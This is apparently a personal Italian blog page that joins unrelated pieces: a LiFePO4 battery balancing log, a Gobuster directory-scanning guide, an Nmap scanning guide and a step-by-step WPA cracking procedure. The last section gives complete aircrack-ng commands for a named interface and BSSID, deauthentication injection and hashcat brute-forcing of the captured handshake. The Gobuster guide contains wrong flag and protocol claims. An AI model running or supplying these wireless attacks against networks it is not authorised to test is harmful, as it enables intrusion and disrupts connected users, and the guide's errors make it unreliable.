📘 DIARIO TECNICO COMPLETO — TOP‑BALANCE LiFePO₄ (BasenGreen 16s/200Ah)

📅 12 giugno — INIZIO LAVORI

  • V_MAX: 3,589 V
  • V_MIN: 3,380 V
  • ΔV: 0,207–0,215 V
  • Celle 1–2 alte, 8–13 basse
  • Pacco sano ma fortemente sbilanciato

📅 13 giugno — PRIMO RECUPERO

  • ΔV: ~0,132 V
  • Bleed efficace
  • Delta dimezzato
  • Celle alte meno polarizzate

📅 21 giugno — STABILIZZAZIONE

  • ΔV: ~0,130 V
  • Cella 8 e 13 recuperano
  • Pacco più uniforme

📅 23 giugno — MIGLIORAMENTO COSTANTE

  • ΔV: 0,123–0,130 V
  • Bleed su 6–7 celle
  • Punta stabile

📅 25 giugno — SOTTO 0,10 V

  • ΔV: 0,092–0,101 V
  • Pacco quasi uniforme
  • SOC 100%

📅 27 giugno — PRIMO CICLO COMPLETO

  • ΔV: ~0,094 V
  • 56,60 V per 1h → 55,20 V float
  • Cella 8 ancora bassa ma stabile

📅 29 giugno — COMPATTAZIONE

  • ΔV: 0,089 V
  • Pacco più compatto
  • Cella 8 vicina al gruppo

📅 30 giugno — SVOLTA

  • ΔV: 0,078–0,080 V
  • Nessuna cella sotto 3,40 V
  • Cella 8 finalmente in banda
  • Pacco molto stabile

📅 1 luglio — PUNTA

  • ΔV: ~0,119 V
  • Celle alte meno polarizzate
  • Cella 8 stabile

📅 1 luglio — FLOAT

  • ΔV: ~0,070 V
  • Pacco compatto
  • Comportamento ripetibile

📅 2 luglio — PUNTA

  • ΔV: 0,105 V
  • Punta stabile
  • Cella 8 in recupero continuo

📅 2 luglio — FLOAT (MIGLIOR GIORNO)

  • ΔV: 0,061–0,064 V
  • Profilo piatto
  • Cella 8 perfettamente integrata
  • Pacco ufficialmente bilanciato

📅 8 luglio — STATO ATTUALE (TOP ASSOLUTO)

🔋 Dati reali di oggi

  • V_SUM: 55,19–55,21 V
  • V_MAX: 3,453–3,455 V
  • V_MIN: 3,430–3,431 V
  • ΔV: 0,022–0,024 V → MIGLIOR DELTA DI SEMPRE
  • Cella 8: 3,430–3,431 V → stabile, prevedibile, perfettamente integrata
  • MOSFET: apertura regolare
  • Full_Cha_Prot: gestito perfettamente
  • Temperatura: 34–36 °C → ideale
  • SOH: 100%
  • Comportamento: ripetibile, stabile, senza deriva

🎯 Significato tecnico

  • Il pacco ha raggiunto la stabilità definitiva.
  • La curva di scarica è perfetta: la 8 scende più veloce (normale), ma resta sempre in banda.
  • La curva di punta è pulita: nessuna cella scappa, bleed efficace.
  • Il delta è da laboratorio (20–24 mV).
  • Il pacco è ora super potente, super stabile, super prevedibile.

📊 SINTESI TECNICA (12 giugno → 8 luglio)

  • Delta iniziale: ~0,21 V
  • Delta attuale: 0,022–0,024 V
  • Miglioramento totale: ~0,185 V
  • Cella 8: 3,380 V → 3,430–3,431 V
  • Profilo celle: piatto, nessuna deriva
  • Stabilità: massima
  • Comportamento: ripetibile
  • Pacco: ufficialmente bilanciato e maturo

🧠 Conclusione finale (8 luglio)

👉 Il pacco è entrato nella sua forma definitiva.

👉 Bilanciamento completato.

👉 Delta da 20–24 mV: livello premium.

👉 Cella 8 perfettamente integrata.

🗺️ Guida Completa: Padronanza con Gobuster

🎯 Obiettivo di Gobuster
Scoprire la struttura nascosta di un sito web. In pratica, se il proprietario ha messo file importanti come /backup, /config o /admin ma non li ha linkati nel menu principale, Gobuster li trova per te.

⚙️ Prerequisiti

  1. Gobuster installato: (Su Linux/macOS: sudo apt install gobuster oppure scaricandolo da GitHub).
  2. Un Target Web: Un indirizzo IP o un dominio che vuoi testare (es. http://192.168.8.17).
  3. Un File di Wordlist: Una lista di nomi comuni per directory e file. Il più famoso è dirb/common.txt o le liste contenute in pacchetti come SecLists.

🚀 Livello 1: La Scansione Base (Directory Enumeration)
Questo è il comando che userai il 90% delle volte per iniziare. Stai dicendo a Gobuster: “Prova tutti questi nomi di cartelle su questo indirizzo.”

gobuster dir -u http://[TARGET_URL] -w /path/to/wordlist.txt

Spiegazione dei parametri:

  • -d (o –directory-list): Indica che vuoi cercare directory e file.
  • -u: Specifica l’URL del target web (es. http://192.168.8.17).
  • -w: Wordlist. Questo è il cuore dello strumento. Devi puntare al percorso della lista di parole che contiene migliaia di nomi comuni (admin, backup, api, ecc.).

Esempio Pratico:

gobuster dir -u http://192.168.8.17 -w /usr/share/wordlists/dirb/common.txt

🔬 Livello 2: Scansione di File Specifiche (File Enumeration)
A volte non cerchi una cartella, ma un file specifico che potrebbe essere nascosto. Puoi usare la stessa logica cambiando il tipo di ricerca o usando liste più mirate.

Esempio: Se sospetti che ci sia un backup in formato ZIP:

gobuster dir -u http://192.168.8.17 -w /usr/share/wordlists/dirbuster/directories.jbrofuzz

⚙️ Livello 3: Scansione di Protocolli Diversificati (Versatilità)
Gobuster non è solo per HTTP! Puoi usarlo anche su altri protocolli, come FTP o SMB, se hai le liste appropriate.

Esempio (FTP):

gobuster dir -u ftp://[TARGET_URL] -w /path/to/ftp_wordlist.txt

💡 Consigli dell’Esperto per la Padronanza:

  1. Non usare solo una wordlist: Se il primo tentativo con common.txt non dà risultati, prova liste più specifiche (es. quelle contenenti nomi di versioni software o termini legati al tuo settore).
  2. Analizza i Risultati: Gobuster ti restituirà un codice di stato HTTP per ogni tentativo:
    • 200 OK: TROVATO! Questa è una directory/file accessibile e pubblica. È il risultato più importante.
    • 403 Forbidden: Il server sa che la risorsa esiste, ma ti impedisce di vederla (potrebbe essere protetta da un firewall o autenticazione). È un indizio prezioso!
    • 404 Not Found: La directory/file non esiste.

In sintesi: Gobuster è il tuo “occhio” che spia ogni angolo del sito web, mentre Nmap è la tua “radar” che vede se le porte sono aperte. Usali in sequenza!

NMAP

Guida Operativa Nmap: Scansione e Analisi di Rete

🔥 Strumento essenziale per amministratori, pentester e analisti di rete

Nmap (Network Mapper) è uno dei tool più potenti per analizzare una rete, scoprire host attivi, identificare porte aperte, servizi in esecuzione e possibili vulnerabilità. Questa guida è ottimizzata per WordPress, con box colorati, icone SVG e tabelle professionali.

🎯 Obiettivi della guida

  • Scoprire quali dispositivi sono attivi nella rete
  • Identificare porte e servizi
  • Rilevare versioni software e sistema operativo
  • Eseguire analisi di vulnerabilità con NSE

Sintassi Base

nmap [opzioni]

  • IP singolo: 192.168.1.50
  • Range: 192.168.1.1-100
  • Subnet: 192.168.1.0/24
  • File host: -iL hosts.txt

🔍 Host Discovery – Scoprire chi è vivo

Prima di scansionare le porte, devi sapere quali host rispondono.

Ping Scan (solo discovery)

nmap -sn 192.168.1.0/24

Identifica rapidamente i dispositivi attivi tramite ICMP e ARP.

Port Scanning – Analisi delle porte

TCP SYN Scan (half-open, consigliato)

nmap -sS 192.168.1.50

Veloce, poco invasivo, richiede privilegi elevati.

TCP Connect Scan (full handshake)

nmap -sT 192.168.1.50

Usalo quando non hai privilegi root.

UDP Scan (DNS, SNMP, DHCP)

nmap -sU 192.168.1.50

Più lento per natura, ma indispensabile per servizi UDP.

Specificare porte e velocità

Porte

  • Tutte le porte: nmap -p- 192.168.1.50
  • Porte specifiche: nmap -p 80,443,3389
  • Range: nmap -p 1-1024

Velocità dello scan

  • -T0: stealth
  • -T3: normale
  • -T4: aggressivo

📡 Enumerazione Avanzata

Service Version Detection

nmap -sV 192.168.1.50

Identifica software e versione (Apache, SSH, ecc.).

OS Detection

nmap -O 192.168.1.50

Fingerprinting del sistema operativo.

Nmap Scripting Engine (NSE)

Analisi vulnerabilità:

nmap --script=vuln 192.168.1.50

Enumerazione web:

nmap --script=http-enum 192.168.1.50

Tabella: Tipi di Scan e Utilizzo

Tipo ScanComandoUtilizzo
SYN Scannmap -sSRapido, stealth
Connect Scannmap -sTSenza privilegi root
UDP Scannmap -sUServizi UDP
Version Detectionnmap -sVSoftware e versioni
OS Detectionnmap -OSistema operativo

Scansioni Consigliate per Pentest

ObiettivoComando
Discovery hostnmap -sn 192.168.3.0/24
Port scan rapidonmap -sS -T4 -F 192.168.3.0/24
Enumerazione dettagliatanmap -sV -p- 192.168.1.50
Analisi vulnerabilitànmap –script=vuln 192.168.1.50

📘 Mini Cheat‑Sheet Finale

  • Host discovery: nmap -sn
  • SYN scan: nmap -sS
  • Versioni servizi: nmap -sV
  • OS detection: nmap -O
  • Vulnerabilità: nmap –script=vuln
  • Full scan: sudo nmap -sS -sV -O -sU -T4

Pentest WPA uso personale !

Guida Tecnica: Acquisizione e Decodifica Handshake WPA

Questa procedura utilizza la suite aircrack-ng su interfaccia wireless wlx20e51702a6ac per catturare un handshake WPA e decodificarlo via hashcat.

Fase 1: Preparazione dell’ambiente

airmon-ng check kill Identifica e termina i processi che interferiscono con la modalità monitor (es. NetworkManager, wpa_supplicant). Rimuove conflitti di gestione radio prima dell’attivazione.

Fase 2: Attivazione modalità monitor

airmon-ng start wlx20e51702a6ac Passa l’interfaccia dalla modalità managed alla modalità monitor, permettendo la ricezione dei pacchetti broadcast e il tuning sulla frequenza corretta.

Fase 3: Scansione generale

airodump-ng -w capture wlx20e51702a6ac Avvia l’ascolto su tutti i canali salvando i pacchetti nel file capture-01.cap. Serve a identificare il BSSID e il canale di lavoro del target.

Fase 4: Monitoraggio mirato

airodump-ng -c 4 --bssid CC:2D:21:31:3F:81 -w capture wlx20e51702a6ac Blocca l’interfaccia sul canale 4 e sul BSSID specifico. Garantisce che tutti i pacchetti del target siano registrati nel file di acquisizione senza perdita per switch di canale.

Fase 5: Iniezione Deauthentication

aireplay-ng --deauth 10 -a CC:2D:21:31:3F:81 wlx20e51702a6ac Invia 10 pacchetti di deautenticazione al BSSID indicato. Forza un client a disconnettersi e riconnettersi, innescando la procedura di negoziazione del handshake WPA.

Fase 6: Conversione formato hcxpcapng

hcxpcapngtool -o handshake_hash.hccapx capture-01.cap Converte il dump .cap nel formato nativo per hashcat (.hccapx). Questo passaggio è necessario perché hashcat non legge direttamente i file aircrack-ng senza conversione.

Fase 7: Attacco brute-force con Hashcat

hashcat -m 22000 handshake_hash.hccapx /usr/share/wordlists/Wordlist_82_million.txt -w 3 --status Esegue l’attacco offline sulla password WPA:

  • -m 22000: Algoritmo specifico per il formato hcxpcapng (WPA2).
  • /usr/share/wordlists/...: Dizionario di confronto.
  • -w 3: Imposta la velocità del worker su “high” per ottimizzare l’uso della GPU/CPU.
  • --status: Mostra i progress dell’elaborazione in tempo reale.